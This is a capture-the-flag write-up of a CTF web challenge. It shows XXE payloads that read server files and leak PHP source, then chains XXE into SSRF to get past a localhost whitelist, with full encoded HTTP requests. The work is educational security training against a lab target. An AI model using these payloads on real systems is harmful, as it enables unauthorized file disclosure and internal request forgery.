Cover Image

CAF 2023 - Baby Hacker Big Brother

In this article, we will explore the step-by-step walkthrough of the Web challenge “Baby Hacker Big Brother” presented at the CTF Cyber Africa Forum 2023.

Initial Analysis

When we visit the challenge web page, we get this rendering :

Webpage
Figure 0x1 – Webpage

We have a form to create an account on the website.

HTTP Request Analysis

I decide to open Burp Suite to see how data is sent to the server :

GET /generate.php?input=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ%2BPGZpcnN0TmFtZT5WYWxlbnRpbiBMb2JzdGVpbjwvZmlyc3ROYW1lPjxsYXN0TmFtZT5iaWRvbkBqZXNhaXNwYXMuY29tPC9sYXN0TmFtZT48L2lucHV0Pg%3D%3D HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1

We can see that the form data is sent via a GET request which already indicates that the request is not sent securely, plus the path to the generate.php file is incorrect, since the actual path is /chall2_086ecf773bbd273e9005d731f743df5a/generate.php.

Decoding the input parameter

By decoding the content of the input parameter in base64, we get this :


<?xml version='1.0' encoding='UTF-8'?>
<input>
    <firstName>Valentin Lobstein</firstName>
    <lastName>bidon@jesaispas.com</lastName>
</input>    

This is XML content, the first lead I explored is the XXE vulnerability (XML eXternal Entities).

XXE Vulnerability Discovery

What is an XXE vulnerability?

An XXE (XML External Entity) attack is a common security attack technique used against web applications that parse XML files. The attack consists of inserting malicious XML entities into XML input data, which are then parsed by the web application. The goal of the attack is to allow an attacker to read arbitrary files on the server or execute malicious code remotely.

First XXE Payload

Here is the first payload I tried to exploit this vulnerability :

<!DOCTYPE replace [
    <!ENTITY xxe SYSTEM "file:///proc/self/environ">
]>
<input>
    <firstName>&xxe;</firstName>
    <lastName>aa</lastName>
</input>

Encoded in base64 then URL encoded, I send this request to the server :

GET /chall2_086ecf773bbd273e9005d731f743df5a/generate.php?input=%50%43%46%45%54%30%4e%55%57%56%42%46%49%48%4a%6c%63%47%78%68%59%32%55%67%57%77%6f%67%49%43%41%67%50%43%46%46%54%6c%52%4a%56%46%6b%67%65%48%68%6c%49%46%4e%5a%55%31%52%46%54%53%41%69%5a%6d%6c%73%5a%54%6f%76%4c%79%39%77%63%6d%39%6a%4c%33%4e%6c%62%47%59%76%5a%57%35%32%61%58%4a%76%62%69%49%2b%43%6c%30%2b%43%6a%78%70%62%6e%42%31%64%44%34%4b%49%43%41%67%49%44%78%6d%61%58%4a%7a%64%45%35%68%62%57%55%2b%4a%6e%68%34%5a%54%73%38%4c%32%5a%70%63%6e%4e%30%54%6d%46%74%5a%54%34%4b%49%43%41%67%49%44%78%73%59%58%4e%30%54%6d%46%74%5a%54%35%68%59%54%77%76%62%47%46%7a%64%45%35%68%62%57%55%2b%43%6a%77%76%61%57%35%77%64%58%51%2b HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1

First Payload Result

Here is the result I get :

XML error
Figure 0x2 – XML error

We successfully generated an error when the server parses the XML which allows us to obtain the absolute directory where the PHP files of the web server are stored /var/www/html.

Source Code Retrieval

The goal now is to retrieve the source code of the generate.php page to get more information about how this page works.

Payload to Read Source Code

Here is the payload I used to accomplish this task :

<!DOCTYPE replace [
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/generate.php">
]>
<input>
    <firstName>&xxe;</firstName>
    <lastName>aa</lastName>
</input>

The goal here is to use the php://filter wrapper to encode the content of the generate.php file in base64 so that it is not executed as PHP on the page, and thus the PHP source code is visible to us.

Request to Retrieve Source Code

Here is the complete request :

GET /chall2_086ecf773bbd273e9005d731f743df5a/generate.php?input=%50%43%46%45%54%30%4e%55%57%56%42%46%49%48%4a%6c%63%47%78%68%59%32%55%67%57%77%6f%67%49%43%41%67%50%43%46%46%54%6c%52%4a%56%46%6b%67%65%48%68%6c%49%46%4e%5a%55%31%52%46%54%53%41%69%63%47%68%77%4f%69%38%76%5a%6d%6c%73%64%47%56%79%4c%33%4a%6c%59%57%51%39%59%32%39%75%64%6d%56%79%64%43%35%69%59%58%4e%6c%4e%6a%51%74%5a%57%35%6a%62%32%52%6c%4c%33%4a%6c%63%32%39%31%63%6d%4e%6c%50%53%39%32%59%58%49%76%64%33%64%33%4c%32%68%30%62%57%77%76%5a%32%56%75%5a%58%4a%68%64%47%55%75%63%47%68%77%49%6a%34%4b%58%54%34%4b%50%47%6c%75%63%48%56%30%50%67%6f%67%49%43%41%67%50%47%5a%70%63%6e%4e%30%54%6d%46%74%5a%54%34%6d%65%48%68%6c%4f%7a%77%76%5a%6d%6c%79%63%33%52%4f%59%57%31%6c%50%67%6f%67%49%43%41%67%50%47%78%68%63%33%52%4f%59%57%31%6c%50%6d%46%68%50%43%39%73%59%58%4e%30%54%6d%46%74%5a%54%34%4b%50%43%39%70%62%6e%42%31%64%44%34%3d HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1
Leak
Figure 0x3 – Leak

Source Code Analysis

And here is the PHP source code of the generate.php page once decoded in plain text :

<?php

$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
	echo $_ENV["FLAG"];
	return;
}
// make sure the input parameter exists
if (empty($_GET["input"])) {
	echo "Please include the 'input' get parameter with your request, Buddy";
	return;
}

// get input
$xmlData = base64_decode($_GET["input"]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die("Error parsing XML: "."\n".$xmlData);
$firstName = $xml->firstName;
$lastName = $xml->lastName;
// generate username
$nouns = array("breakroot", "sec042", "Stalhacker", "Coder08", "Hacker", "jhokkha", "illution", "maskbreak", "serialboy", "victorians", "mrrobot", "HunterX", "Brutelfine", "hoopssec", "littledocker");
$noun = $nouns[array_rand($nouns)];
$generatedName = $firstName.' "The '.$noun.'" '.$lastName;

// return html for the results page
echo <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
  <title>Fault System Generator</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>

<div class="jumbotron text-center">
  <h1>Your ID Name Is:</h1>
  <h2>$generatedName</h2> 

  <a href="/">Go Back</a> 
</div>
</body>
</html>
EOT;
?>

IP Verification Analysis

One part is extremely interesting here, it’s this part of the code :

<?php

$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
	echo $_ENV["FLAG"];
	return;
}
  • This PHP code defines a whitelist of IP addresses, stored in an array called $whitelist. Then, the code checks if the IP address of the user accessing the page is present in the $whitelist array. If the user’s IP address is included in the whitelist, the page returns the value of the $FLAG environment variable. This variable is used to store a secret value that must be kept confidential.

  • The purpose of this code is to limit access to the value of the $FLAG environment variable to a specific list of approved IP addresses. Indeed, this variable contains sensitive information that we don’t want to make publicly accessible. This technique is used to prevent attackers from reading the value of the $FLAG variable by exploiting an XXE vulnerability, as in the XML examples we saw earlier.

  • By checking the IP address of the user accessing the page, the PHP code attempts to ensure that the user is authorized to access the value of the $FLAG variable. However, it should be noted that the IP address can be easily spoofed or falsified.

SSRF Exploitation via XXE

The only way we have to bypass this security measure is to create an SSRF from the XXE vulnerability we already exploited earlier.

What is an SSRF vulnerability?

An SSRF (Server-Side Request Forgery) is a common security vulnerability that can occur when unvalidated user inputs are used to perform HTTP requests from the server to external resources, such as websites, file systems, or web services. Attackers can exploit this vulnerability to send requests to internal resources that should not be accessible from the server, or to perform attacks by bouncing from internal resources to external targets.

Key Information

We have three important pieces of information :

  • The generate.php file is located in the /var/www/html directory.

  • The whitelisted IP address is 127.0.0.1.

  • The flag is displayed via the $FLAG environment variable from generate.php.

Final Payload Creation

With this information we can finally create the final payload :

<!DOCTYPE replace [
    <!ENTITY xxe SYSTEM "http://127.0.0.1/generate.php">
]>
<input>
    <firstName>&xxe;</firstName>
    <lastName>aa</lastName>
</input>

Final Request

The complete request is therefore this one :

GET /chall2_086ecf773bbd273e9005d731f743df5a/generate.php?input=%50%43%46%45%54%30%4e%55%57%56%42%46%49%48%4a%6c%63%47%78%68%59%32%55%67%57%77%6f%67%49%43%41%67%50%43%46%46%54%6c%52%4a%56%46%6b%67%65%48%68%6c%49%46%4e%5a%55%31%52%46%54%53%41%69%61%48%52%30%63%44%6f%76%4c%7a%45%79%4e%79%34%77%4c%6a%41%75%4d%53%39%6e%5a%57%35%6c%63%6d%46%30%5a%53%35%77%61%48%41%69%50%67%70%64%50%67%6f%38%61%57%35%77%64%58%51%2b%43%69%41%67%49%43%41%38%5a%6d%6c%79%63%33%52%4f%59%57%31%6c%50%69%5a%34%65%47%55%37%50%43%39%6d%61%58%4a%7a%64%45%35%68%62%57%55%2b%43%69%41%67%49%43%41%38%62%47%46%7a%64%45%35%68%62%57%55%2b%59%57%45%38%4c%32%78%68%63%33%52%4f%59%57%31%6c%50%67%6f%38%4c%32%6c%75%63%48%56%30%50%67%6f%3d HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1

Final Result

And here is the server response :

Final result
Figure 0x4 – Final result

Flag: CAF_{never_gonna_give_you_up_so_congratulations}